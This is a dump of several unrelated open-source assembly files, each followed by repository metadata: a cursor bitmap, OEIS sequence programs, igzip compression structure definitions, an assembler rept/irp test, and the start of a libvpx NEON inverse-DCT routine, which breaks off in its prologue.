NoWayCursor chunk
PointerDef <
mask PDW_ALWAYS_SHOW_PTR or 16, ; PD_width
16, ; PD_height
7, ; PD_hotX
7 ; PD_hotY
>
byte 00000111b, 11000000b,
00011111b, 11110000b,
00111111b, 11111000b,
01111111b, 11111100b,
01111111b, 11111100b,
11111111b, 11111110b,
11111111b, 11111110b,
11111111b, 11111110b,
11111111b, 11111110b,
11111111b, 11111110b,
01111111b, 11111100b,
01111111b, 11111100b,
00111111b, 11111000b,
00011111b, 11110000b,
00000111b, 11000000b,
00000000b, 00000000b
byte 00000111b, 11000000b,
00011000b, 00110000b,
00100000b, 00001000b,
01000111b, 11000100b,
01000011b, 11100100b,
10010001b, 11110010b,
10011000b, 11110010b,
10011100b, 01110010b,
10011110b, 00110010b,
10011111b, 00010010b,
01001111b, 10000100b,
01000111b, 11000100b,
00100000b, 00001000b,
00011000b, 00110000b,
00000111b, 11000000b,
00000000b, 00000000b
NoWayCursor endc
Cursors ends
| 21.65812 | 79 | 0.656275 | [
"Apache-2.0"
] | BOBBYWY/pcgeos | Library/Pen/Ink/inkCursors.asm | 2,534 | Assembly |
; A008255: Coordination sequence T2 for feldspar.
; 1,4,10,22,38,56,82,112,142,182,226,268,322,380,434,502,574,640,722,808,886,982,1082,1172,1282,1396,1498,1622,1750,1864,2002,2144,2270,2422,2578,2716,2882,3052,3202,3382,3566,3728,3922,4120,4294,4502,4714,4900,5122,5348,5546,5782,6022,6232,6482,6736,6958,7222,7490,7724,8002,8284,8530,8822,9118,9376,9682,9992,10262,10582,10906,11188,11522,11860,12154,12502,12854,13160,13522,13888,14206,14582,14962,15292,15682,16076,16418,16822,17230,17584,18002,18424,18790,19222,19658,20036,20482,20932,21322,21782,22246,22648,23122,23600,24014,24502,24994,25420,25922,26428,26866,27382,27902,28352,28882,29416,29878,30422,30970,31444,32002,32564,33050,33622,34198,34696,35282,35872,36382,36982,37586,38108,38722,39340,39874,40502,41134,41680,42322,42968,43526,44182,44842,45412,46082,46756,47338,48022,48710,49304,50002,50704,51310,52022,52738,53356,54082,54812,55442,56182,56926,57568,58322,59080,59734,60502,61274,61940,62722,63508,64186,64982,65782,66472,67282,68096,68798,69622,70450,71164,72002,72844,73570,74422,75278,76016,76882,77752,78502,79382,80266,81028,81922,82820,83594,84502,85414,86200,87122,88048,88846,89782,90722,91532,92482,93436,94258,95222,96190,97024,98002,98984,99830,100822,101818,102676,103682,104692,105562,106582,107606,108488,109522,110560,111454,112502,113554,114460,115522,116588,117506,118582,119662,120592,121682,122776,123718,124822,125930,126884,128002,129124,130090,131222,132358,133336,134482,135632,136622,137782
mov $7,$0
mul $0,2
add $0,1
mov $3,$0
div $3,3
mov $5,3
lpb $0,1
mov $2,$3
sub $5,$3
mov $0,$5
mov $3,8
mov $6,1
lpe
add $5,$2
mov $1,$5
sub $1,1
pow $2,2
add $2,2
div $2,$1
add $2,$6
mov $1,$2
mov $8,$7
mul $8,$7
mov $4,$8
mul $4,2
add $1,$4
| 58.133333 | 1,439 | 0.777523 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/008/A008255.asm | 1,744 | Assembly |
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Copyright(c) 2011-2016 Intel Corporation All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions
; are met:
; * Redistributions of source code must retain the above copyright
; notice, this list of conditions and the following disclaimer.
; * Redistributions in binary form must reproduce the above copyright
; notice, this list of conditions and the following disclaimer in
; the documentation and/or other materials provided with the
; distribution.
; * Neither the name of Intel Corporation nor the names of its
; contributors may be used to endorse or promote products derived
; from this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; START_FIELDS
%macro START_FIELDS 0
%assign _FIELD_OFFSET 0
%assign _STRUCT_ALIGN 0
%endm
;; FIELD name size align
%macro FIELD 3
%define %%name %1
%define %%size %2
%define %%align %3
%assign _FIELD_OFFSET (_FIELD_OFFSET + (%%align) - 1) & (~ ((%%align)-1))
%%name equ _FIELD_OFFSET
%assign _FIELD_OFFSET _FIELD_OFFSET + (%%size)
%if (%%align > _STRUCT_ALIGN)
%assign _STRUCT_ALIGN %%align
%endif
%endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
START_FIELDS ;; BitBuf2
;; name size align
FIELD _m_bits, 8, 8
FIELD _m_bit_count, 4, 4
FIELD _m_out_buf, 8, 8
FIELD _m_out_end, 8, 8
FIELD _m_out_start, 8, 8
%assign _BitBuf2_size _FIELD_OFFSET
%assign _BitBuf2_align _STRUCT_ALIGN
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%define HIST_ELEM_SIZE 4
START_FIELDS ;; isal_mod_hist
;; name size align
FIELD _d_hist, 30*HIST_ELEM_SIZE, HIST_ELEM_SIZE
FIELD _ll_hist, 513*HIST_ELEM_SIZE, HIST_ELEM_SIZE
%assign _isal_mod_hist_size _FIELD_OFFSET
%assign _isal_mod_hist_align _STRUCT_ALIGN
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%define HUFF_CODE_SIZE 4
START_FIELDS ;; hufftables_icf
;; name size align
FIELD _dist_table, 31 * HUFF_CODE_SIZE, HUFF_CODE_SIZE
FIELD _lit_len_table, 513 * HUFF_CODE_SIZE, HUFF_CODE_SIZE
%assign _hufftables_icf_size _FIELD_OFFSET
%assign _hufftables_icf_align _STRUCT_ALIGN
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
START_FIELDS ;; hash8k_buf
;; name size align
FIELD _hash8k_table, 2 * IGZIP_HASH8K_HASH_SIZE, 2
%assign _hash_buf1_size _FIELD_OFFSET
%assign _hash_buf1_align _STRUCT_ALIGN
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
START_FIELDS ;; hash_map_buf
;; name size align
FIELD _hash_table, 2 * IGZIP_HASH_MAP_HASH_SIZE, 2
FIELD _matches_next, 8, 8
FIELD _matches_end, 8, 8
FIELD _matches, 4*4*1024, 4
FIELD _overflow, 4*LA, 4
%assign _hash_map_buf_size _FIELD_OFFSET
%assign _hash_map_buf_align _STRUCT_ALIGN
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
%define DEF_MAX_HDR_SIZE 328
START_FIELDS ;; level_buf
;; name size align
FIELD _encode_tables, _hufftables_icf_size, _hufftables_icf_align
FIELD _hist, _isal_mod_hist_size, _isal_mod_hist_align
FIELD _deflate_hdr_count, 4, 4
FIELD _deflate_hdr_extra_bits,4, 4
FIELD _deflate_hdr, DEF_MAX_HDR_SIZE, 1
FIELD _icf_buf_next, 8, 8
FIELD _icf_buf_avail_out, 8, 8
FIELD _icf_buf_start, 8, 8
FIELD _lvl_extra, _hash_map_buf_size, _hash_map_buf_align
%assign _level_buf_base_size _FIELD_OFFSET
%assign _level_buf_base_align _STRUCT_ALIGN
_hash8k_hash_table equ _lvl_extra + _hash8k_table
_hash_map_hash_table equ _lvl_extra + _hash_table
_hash_map_matches_next equ _lvl_extra + _matches_next
_hash_map_matches_end equ _lvl_extra + _matches_end
_hash_map_matches equ _lvl_extra + _matches
_hist_lit_len equ _hist+_ll_hist
_hist_dist equ _hist+_d_hist
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
START_FIELDS ;; isal_zstate
;; name size align
FIELD _total_in_start,4, 4
FIELD _block_next, 4, 4
FIELD _block_end, 4, 4
FIELD _bitbuf, _BitBuf2_size, _BitBuf2_align
FIELD _crc, 4, 4
FIELD _state, 4, 4
FIELD _has_wrap_hdr, 1, 1
FIELD _has_eob_hdr, 1, 1
FIELD _has_eob, 1, 1
FIELD _has_hist, 1, 1
FIELD _has_level_buf_init, 2, 2
FIELD _count, 4, 4
FIELD _tmp_out_buff, 16, 1
FIELD _tmp_out_start, 4, 4
FIELD _tmp_out_end, 4, 4
FIELD _b_bytes_valid, 4, 4
FIELD _b_bytes_processed, 4, 4
FIELD _buffer, BSIZE, 1
FIELD _head, IGZIP_LVL0_HASH_SIZE*2, 2
%assign _isal_zstate_size _FIELD_OFFSET
%assign _isal_zstate_align _STRUCT_ALIGN
_bitbuf_m_bits equ _bitbuf+_m_bits
_bitbuf_m_bit_count equ _bitbuf+_m_bit_count
_bitbuf_m_out_buf equ _bitbuf+_m_out_buf
_bitbuf_m_out_end equ _bitbuf+_m_out_end
_bitbuf_m_out_start equ _bitbuf+_m_out_start
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
START_FIELDS ;; isal_zstream
;; name size align
FIELD _next_in, 8, 8
FIELD _avail_in, 4, 4
FIELD _total_in, 4, 4
FIELD _next_out, 8, 8
FIELD _avail_out, 4, 4
FIELD _total_out, 4, 4
FIELD _hufftables, 8, 8
FIELD _level, 4, 4
FIELD _level_buf_size, 4, 4
FIELD _level_buf, 8, 8
FIELD _end_of_stream, 2, 2
FIELD _flush, 2, 2
FIELD _gzip_flag, 4, 4
FIELD _internal_state, _isal_zstate_size, _isal_zstate_align
%assign _isal_zstream_size _FIELD_OFFSET
%assign _isal_zstream_align _STRUCT_ALIGN
_internal_state_total_in_start equ _internal_state+_total_in_start
_internal_state_block_next equ _internal_state+_block_next
_internal_state_block_end equ _internal_state+_block_end
_internal_state_b_bytes_valid equ _internal_state+_b_bytes_valid
_internal_state_b_bytes_processed equ _internal_state+_b_bytes_processed
_internal_state_crc equ _internal_state+_crc
_internal_state_bitbuf equ _internal_state+_bitbuf
_internal_state_state equ _internal_state+_state
_internal_state_count equ _internal_state+_count
_internal_state_tmp_out_buff equ _internal_state+_tmp_out_buff
_internal_state_tmp_out_start equ _internal_state+_tmp_out_start
_internal_state_tmp_out_end equ _internal_state+_tmp_out_end
_internal_state_has_wrap_hdr equ _internal_state+_has_wrap_hdr
_internal_state_has_eob equ _internal_state+_has_eob
_internal_state_has_eob_hdr equ _internal_state+_has_eob_hdr
_internal_state_has_hist equ _internal_state+_has_hist
_internal_state_has_level_buf_init equ _internal_state+_has_level_buf_init
_internal_state_buffer equ _internal_state+_buffer
_internal_state_head equ _internal_state+_head
_internal_state_bitbuf_m_bits equ _internal_state+_bitbuf_m_bits
_internal_state_bitbuf_m_bit_count equ _internal_state+_bitbuf_m_bit_count
_internal_state_bitbuf_m_out_buf equ _internal_state+_bitbuf_m_out_buf
_internal_state_bitbuf_m_out_end equ _internal_state+_bitbuf_m_out_end
_internal_state_bitbuf_m_out_start equ _internal_state+_bitbuf_m_out_start
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Internal States
ZSTATE_NEW_HDR equ 0
ZSTATE_HDR equ (ZSTATE_NEW_HDR + 1)
ZSTATE_CREATE_HDR equ (ZSTATE_HDR + 1)
ZSTATE_BODY equ (ZSTATE_CREATE_HDR + 1)
ZSTATE_FLUSH_READ_BUFFER equ (ZSTATE_BODY + 1)
ZSTATE_FLUSH_ICF_BUFFER equ (ZSTATE_FLUSH_READ_BUFFER + 1)
ZSTATE_TYPE0_HDR equ (ZSTATE_FLUSH_ICF_BUFFER + 1)
ZSTATE_TYPE0_BODY equ (ZSTATE_TYPE0_HDR + 1)
ZSTATE_SYNC_FLUSH equ (ZSTATE_TYPE0_BODY + 1)
ZSTATE_FLUSH_WRITE_BUFFER equ (ZSTATE_SYNC_FLUSH + 1)
ZSTATE_TRL equ (ZSTATE_FLUSH_WRITE_BUFFER + 1)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
_NO_FLUSH equ 0
_SYNC_FLUSH equ 1
_FULL_FLUSH equ 2
_STORED_BLK equ 0
%assign _STORED_BLK_END 65535
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IGZIP_NO_HIST equ 0
IGZIP_HIST equ 1
IGZIP_DICT_HIST equ 2
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 38.911439 | 78 | 0.591465 | [
"MIT"
] | Abhisheknishant/GKL | src/main/native/compression/isa-l-master/igzip/data_struct2.asm | 10,545 | Assembly |
; A098179: Expansion of (1-3*x+3*x^2)/(1-5*x+10*x^2-10*x^3+4*x^4).
; 1,2,3,5,11,27,63,135,271,527,1023,2015,4031,8127,16383,32895,65791,131327,262143,523775,1047551,2096127,4194303,8390655,16781311,33558527,67108863,134209535,268419071,536854527,1073741823,2147516415
add $0,2
cal $0,38504 ; Sum of every 4th entry of row n in Pascal's triangle, starting at "n choose 1".
mov $1,$0
sub $1,1
| 49 | 200 | 0.734694 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/098/A098179.asm | 392 | Assembly |
; rept.asm
; Test of rept and irp directives.
; Macro with rept and irp inside.
hola macro
local unused, unused2
unused rept 2
db 'Rept inside macro', 0
endm
unused2 irp ?reg, af,bc, de, hl
push ?reg
endm
endm ; hola
;-------------------------------------
rept 10
db 'Hello, reptworld'
endm
rept 3
; Rept with calculated end condition.
n defl 1
rept 0FFFFh
n defl n + 2
if n gt 10
exitm
endif
rept 4
db n
endm
endm
endm
; Macro call inside rept.
rept 2
hola
endm
; New syntax.
counter equ 1234h
; With counter (initial value 0 and step 1 assumed):
rept 3, counter
db counter
endm
; With counter and initial value (step 1 assumed):
rept 3, counter, 5
db counter
endm
; With counter, initial value and step:
rept 3, counter, 7, -1
db counter
endm
; Testing that counter was local:
defw counter
end
| 12.847222 | 54 | 0.605405 | [
"Apache-2.0"
] | wilsonpilon/msx-menu | samples/rept.asm | 925 | Assembly |
;
; Copyright (c) 2013 The WebM project authors. All Rights Reserved.
;
; Use of this source code is governed by a BSD-style license
; that can be found in the LICENSE file in the root of the source
; tree. An additional intellectual property rights grant can be found
; in the file PATENTS. All contributing project authors may
; be found in the AUTHORS file in the root of the source tree.
;
;TODO(cd): adjust these constant to be able to use vqdmulh for faster
; dct_const_round_shift(a * b) within butterfly calculations.
cospi_1_64 EQU 16364
cospi_2_64 EQU 16305
cospi_3_64 EQU 16207
cospi_4_64 EQU 16069
cospi_5_64 EQU 15893
cospi_6_64 EQU 15679
cospi_7_64 EQU 15426
cospi_8_64 EQU 15137
cospi_9_64 EQU 14811
cospi_10_64 EQU 14449
cospi_11_64 EQU 14053
cospi_12_64 EQU 13623
cospi_13_64 EQU 13160
cospi_14_64 EQU 12665
cospi_15_64 EQU 12140
cospi_16_64 EQU 11585
cospi_17_64 EQU 11003
cospi_18_64 EQU 10394
cospi_19_64 EQU 9760
cospi_20_64 EQU 9102
cospi_21_64 EQU 8423
cospi_22_64 EQU 7723
cospi_23_64 EQU 7005
cospi_24_64 EQU 6270
cospi_25_64 EQU 5520
cospi_26_64 EQU 4756
cospi_27_64 EQU 3981
cospi_28_64 EQU 3196
cospi_29_64 EQU 2404
cospi_30_64 EQU 1606
cospi_31_64 EQU 804
EXPORT |vp9_idct32x32_1024_add_neon|
ARM
REQUIRE8
PRESERVE8
AREA ||.text||, CODE, READONLY, ALIGN=2
AREA Block, CODE, READONLY
; --------------------------------------------------------------------------
; Load from transposed_buffer
; q13 = transposed_buffer[first_offset]
; q14 = transposed_buffer[second_offset]
; for proper address calculation, the last offset used when manipulating
; transposed_buffer must be passed in. use 0 for first use.
MACRO
LOAD_FROM_TRANSPOSED $prev_offset, $first_offset, $second_offset
; address calculation with proper stride and loading
add r0, #($first_offset - $prev_offset )*8*2
vld1.s16 {q14}, [r0]
add r0, #($second_offset - $first_offset)*8*2
vld1.s16 {q13}, [r0]
; (used) two registers (q14, q13)
MEND
; --------------------------------------------------------------------------
; Load from output (used as temporary storage)
; reg1 = output[first_offset]
; reg2 = output[second_offset]
; for proper address calculation, the last offset used when manipulating
; output, wethere reading or storing) must be passed in. use 0 for first
; use.
MACRO
LOAD_FROM_OUTPUT $prev_offset, $first_offset, $second_offset, $reg1, $reg2
; address calculation with proper stride and loading
add r1, #($first_offset - $prev_offset )*32*2
vld1.s16 {$reg1}, [r1]
add r1, #($second_offset - $first_offset)*32*2
vld1.s16 {$reg2}, [r1]
; (used) two registers ($reg1, $reg2)
MEND
; --------------------------------------------------------------------------
; Store into output (sometimes as as temporary storage)
; output[first_offset] = reg1
; output[second_offset] = reg2
; for proper address calculation, the last offset used when manipulating
; output, wethere reading or storing) must be passed in. use 0 for first
; use.
MACRO
STORE_IN_OUTPUT $prev_offset, $first_offset, $second_offset, $reg1, $reg2
; address calculation with proper stride and storing
add r1, #($first_offset - $prev_offset )*32*2
vst1.16 {$reg1}, [r1]
add r1, #($second_offset - $first_offset)*32*2
vst1.16 {$reg2}, [r1]
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q6-q9 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_CENTER_RESULTS
; load dest[j * dest_stride + 0-31]
vld1.s16 {d8}, [r10], r2
vld1.s16 {d11}, [r9], r11
vld1.s16 {d9}, [r10]
vld1.s16 {d10}, [r9]
; ROUND_POWER_OF_TWO
vrshr.s16 q7, q7, #6
vrshr.s16 q8, q8, #6
vrshr.s16 q9, q9, #6
vrshr.s16 q6, q6, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q7, q7, d9
vaddw.u8 q8, q8, d10
vaddw.u8 q9, q9, d11
vaddw.u8 q6, q6, d8
; clip pixel
vqmovun.s16 d9, q7
vqmovun.s16 d10, q8
vqmovun.s16 d11, q9
vqmovun.s16 d8, q6
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d9}, [r10], r11
vst1.16 {d10}, [r9], r2
vst1.16 {d8}, [r10]
vst1.16 {d11}, [r9]
; update pointers (by dest_stride * 2)
sub r9, r9, r2, lsl #1
add r10, r10, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q6-q9 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_CENTER_RESULTS_LAST
; load dest[j * dest_stride + 0-31]
vld1.s16 {d8}, [r10], r2
vld1.s16 {d11}, [r9], r11
vld1.s16 {d9}, [r10]
vld1.s16 {d10}, [r9]
; ROUND_POWER_OF_TWO
vrshr.s16 q7, q7, #6
vrshr.s16 q8, q8, #6
vrshr.s16 q9, q9, #6
vrshr.s16 q6, q6, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q7, q7, d9
vaddw.u8 q8, q8, d10
vaddw.u8 q9, q9, d11
vaddw.u8 q6, q6, d8
; clip pixel
vqmovun.s16 d9, q7
vqmovun.s16 d10, q8
vqmovun.s16 d11, q9
vqmovun.s16 d8, q6
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d9}, [r10], r11
vst1.16 {d10}, [r9], r2
vst1.16 {d8}, [r10]!
vst1.16 {d11}, [r9]!
; update pointers (by dest_stride * 2)
sub r9, r9, r2, lsl #1
add r10, r10, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q4-q7 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_EXTREME_RESULTS
; load dest[j * dest_stride + 0-31]
vld1.s16 {d4}, [r7], r2
vld1.s16 {d7}, [r6], r11
vld1.s16 {d5}, [r7]
vld1.s16 {d6}, [r6]
; ROUND_POWER_OF_TWO
vrshr.s16 q5, q5, #6
vrshr.s16 q6, q6, #6
vrshr.s16 q7, q7, #6
vrshr.s16 q4, q4, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q5, q5, d5
vaddw.u8 q6, q6, d6
vaddw.u8 q7, q7, d7
vaddw.u8 q4, q4, d4
; clip pixel
vqmovun.s16 d5, q5
vqmovun.s16 d6, q6
vqmovun.s16 d7, q7
vqmovun.s16 d4, q4
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d5}, [r7], r11
vst1.16 {d6}, [r6], r2
vst1.16 {d7}, [r6]
vst1.16 {d4}, [r7]
; update pointers (by dest_stride * 2)
sub r6, r6, r2, lsl #1
add r7, r7, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Combine-add results with current destination content
; q4-q7 contain the results (out[j * 32 + 0-31])
MACRO
STORE_COMBINE_EXTREME_RESULTS_LAST
; load dest[j * dest_stride + 0-31]
vld1.s16 {d4}, [r7], r2
vld1.s16 {d7}, [r6], r11
vld1.s16 {d5}, [r7]
vld1.s16 {d6}, [r6]
; ROUND_POWER_OF_TWO
vrshr.s16 q5, q5, #6
vrshr.s16 q6, q6, #6
vrshr.s16 q7, q7, #6
vrshr.s16 q4, q4, #6
; add to dest[j * dest_stride + 0-31]
vaddw.u8 q5, q5, d5
vaddw.u8 q6, q6, d6
vaddw.u8 q7, q7, d7
vaddw.u8 q4, q4, d4
; clip pixel
vqmovun.s16 d5, q5
vqmovun.s16 d6, q6
vqmovun.s16 d7, q7
vqmovun.s16 d4, q4
; store back into dest[j * dest_stride + 0-31]
vst1.16 {d5}, [r7], r11
vst1.16 {d6}, [r6], r2
vst1.16 {d7}, [r6]!
vst1.16 {d4}, [r7]!
; update pointers (by dest_stride * 2)
sub r6, r6, r2, lsl #1
add r7, r7, r2, lsl #1
MEND
; --------------------------------------------------------------------------
; Touches q8-q12, q15 (q13-q14 are preserved)
; valid output registers are anything but q8-q11
MACRO
DO_BUTTERFLY $regC, $regD, $regA, $regB, $first_constant, $second_constant, $reg1, $reg2, $reg3, $reg4
; TODO(cd): have special case to re-use constants when they are similar for
; consecutive butterflies
; TODO(cd): have special case when both constants are the same, do the
; additions/substractions before the multiplies.
; generate the constants
; generate scalar constants
mov r8, #$first_constant & 0xFF00
mov r12, #$second_constant & 0xFF00
add r8, #$first_constant & 0x00FF
add r12, #$second_constant & 0x00FF
; generate vector constants
vdup.16 d30, r8
vdup.16 d31, r12
; (used) two for inputs (regA-regD), one for constants (q15)
; do some multiplications (ordered for maximum latency hiding)
vmull.s16 q8, $regC, d30
vmull.s16 q10, $regA, d31
vmull.s16 q9, $regD, d30
vmull.s16 q11, $regB, d31
vmull.s16 q12, $regC, d31
; (used) five for intermediate (q8-q12), one for constants (q15)
; do some addition/substractions (to get back two register)
vsub.s32 q8, q8, q10
vsub.s32 q9, q9, q11
; do more multiplications (ordered for maximum latency hiding)
vmull.s16 q10, $regD, d31
vmull.s16 q11, $regA, d30
vmull.s16 q15, $regB, d30
; (used) six for intermediate (q8-q12, q15)
; do more addition/substractions
vadd.s32 q11, q12, q11
vadd.s32 q10, q10, q15
; (used) four for intermediate (q8-q11)
; dct_const_round_shift
vqrshrn.s32 $reg1, q8, #14
vqrshrn.s32 $reg2, q9, #14
vqrshrn.s32 $reg3, q11, #14
vqrshrn.s32 $reg4, q10, #14
; (used) two for results, well four d registers
MEND
; --------------------------------------------------------------------------
; Touches q8-q12, q15 (q13-q14 are preserved)
; valid output registers are anything but q8-q11
MACRO
DO_BUTTERFLY_STD $first_constant, $second_constant, $reg1, $reg2, $reg3, $reg4
DO_BUTTERFLY d28, d29, d26, d27, $first_constant, $second_constant, $reg1, $reg2, $reg3, $reg4
MEND
; --------------------------------------------------------------------------
;void vp9_idct32x32_1024_add_neon(int16_t *input, uint8_t *dest, int dest_stride);
;
; r0 int16_t *input,
; r1 uint8_t *dest,
; r2 int dest_stride)
; loop counters
; r4 bands loop counter
; r5 pass loop counter
; r8 transpose loop counter
; combine-add pointers
; r6 dest + 31 * dest_stride, descending (30, 29, 28, ...)
; r7 dest + 0 * dest_stride, ascending (1, 2, 3, ...)
; r9 dest + 15 * dest_stride, descending (14, 13, 12, ...)
; r10 dest + 16 * dest_stride, ascending (17, 18, 19, ...)
|vp9_idct32x32_1024_add_neon| PROC
; This function does one pass of idct32x32 transform.
;
; This is done by transposing the input and then doing a 1d transform on
; columns. In the first pass, the transposed columns are the original
; rows. In the second pass, after the transposition, the colums are the
; original columns.
; The 1d transform is done by looping over bands of eight columns (the
; idct32_bands loop). For each band, the transform input transposition
; is done on demand, one band of four 8x8 matrices at a time. The four
; matrices are transposed by pairs (the idct32_transpose_pair loop).
push {r4-r11}
vpush {d8-d15}
; stack operation
; internal buffer used to transpose 8 lines into before transforming them
; int16_t transpose_buffer[32 * 8];
; at sp + [4096, 4607]
; results of the first pass (transpose and transform rows)
; int16_t pass1[32 * 32];
; at sp + [0, 2047]
; results of the second pass (transpose and transform columns)
; int16_t pass2[32 * 32];
; at sp + [2048, 4095]
